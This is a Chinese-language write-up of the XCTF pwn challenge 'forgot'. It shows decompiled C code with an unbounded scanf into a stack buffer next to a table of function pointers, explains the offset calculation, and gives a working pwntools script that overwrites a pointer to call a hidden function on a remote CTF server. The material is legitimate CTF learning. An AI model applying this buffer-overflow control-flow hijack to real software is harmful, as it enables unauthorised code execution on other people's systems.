xctf | pwn进阶

forgot

简化版代码如下

int __cdecl main()
{
  int  v0; // ebx
  char email_check[32]; // [esp+10h] [ebp-74h]
  int(*v3)(); // [esp+30h] [ebp-54h]
  int (*v4)(); // [esp+34h] [ebp-50h]
  int (*v5)(); // [esp+38h] [ebp-4Ch]
  int (*v6)(); // [esp+3Ch] [ebp-48h]
  int (*v7)(); // [esp+40h] [ebp-44h]
  int (*v8)(); // [esp+44h] [ebp-40h]
  int (*v9)(); // [esp+48h] [ebp-3Ch]
  int (*v10)(); // [esp+4Ch] [ebp-38h]
  int (*v11)(); // [esp+50h] [ebp-34h]
  int (*v12)(); // [esp+54h] [ebp-30h]
  char s; // [esp+58h] [ebp-2Ch]
  int Index; // [esp+78h] [ebp-Ch]
  int i; // [esp+7Ch] [ebp-8h]

  Index = 1;
  v3 = fun0;
  v4 = fun1;
  v5 = fun2;
  v6 = fun3;
  v7 = fun4;
  v8 = fun5;
  v9 = fun6;
  v10 = fun7;
  v11 = fun8;
  v12 = fun9;
  puts("What is your name?");
  printf("> ");
  fflush(stdout);
  fgets(&s, 32, stdin);
  sub_80485DD((int)&s);
  fflush(stdout);
  printf("I should give you a pointer perhaps. Here: %x\n\n", fun4);
  fflush(stdout);
  puts("Enter the string to be validate");
  printf("> ");
  fflush(stdout);
  __isoc99_scanf("%s", email_check);
  for ( i = 0; ; ++i )
  {
    v0 = i;
    if ( v0 >= strlen(email_check) )
      break;
    switch ( Index )
    {
      case 1:
        if ( sub_8048702(email_check[i]) )      // a-z,0-9,+,-,.,/  =>first char
          Index = 2;
        break;
      case 2:
        if ( email_check[i] == '@' )
          Index = 3;
        break;
      case 3:
        if ( sub_804874C(email_check[i]) )      // a-z,0-9,_
          Index = 4;
        break;
      case 4:
        if ( email_check[i] == '.' )
          Index = 5;
        break;
      case 5:
        if ( sub_8048784(email_check[i]) )      // a-z
          Index = 6;
        break;
      case 6:
        if ( sub_8048784(email_check[i]) )      // a-z
          Index = 7;
        break;
      case 7:
        if ( sub_8048784(email_check[i]) )      // a-z
          Index = 8;
        break;
      case 8:
        if ( sub_8048784(email_check[i]) )      // a-z
          Index = 9;
        break;
      case 9:
        Index = 10;
        break;
      default:
        continue;
    }
  }
  ((void (*)(void))*(&v3 + --Index))();         // fun[Index--]
  return fflush(stdout);
}

分析源码:可以控制调用函数的下标,即从fun0-fun9中调用,而接下来的输入点可以覆盖掉fun函数列表,于是其中一种思路是:用字符过滤的原则只让Index一开始为2,之后调用fun1,而对应的将fun1的地址覆盖为可疑函数的地址。
xctf | pwn进阶
细节:&&和||,&&优先级高,实现字符过滤
__isoc99_scanf("%s", email_check);
不限长输入,在email_check下有函数的地址列表。
xctf | pwn进阶
可疑函数地址:0x080486CC。偏移量(OX74-0x54)此时为anonymous(fun0)以上的偏移,之后再加上fun0对应的4字节,即为0x24,在把fun1覆盖,这里选择覆盖fun1的原因是与输入的'a'有关,符合输入字符,最会把Index变为2,之后再--Index.
xctf | pwn进阶
payload

from pwn import *

context.log_level = 'debug'

p = remote("220.249.52.133",48040)
#p = process('./forgot')

payload = 'a'*0x24+p32(0x080486CC) 

p.recvuntil("> ")
p.sendline('a')
p.recvuntil("> ")
p.sendline(payload)

p.interactive()

效果:
xctf | pwn进阶

上一篇:安装苹果虚拟机以及黑苹果的一些心得


下一篇:一个可以自动根据接口匹配实现类的执行器(面条)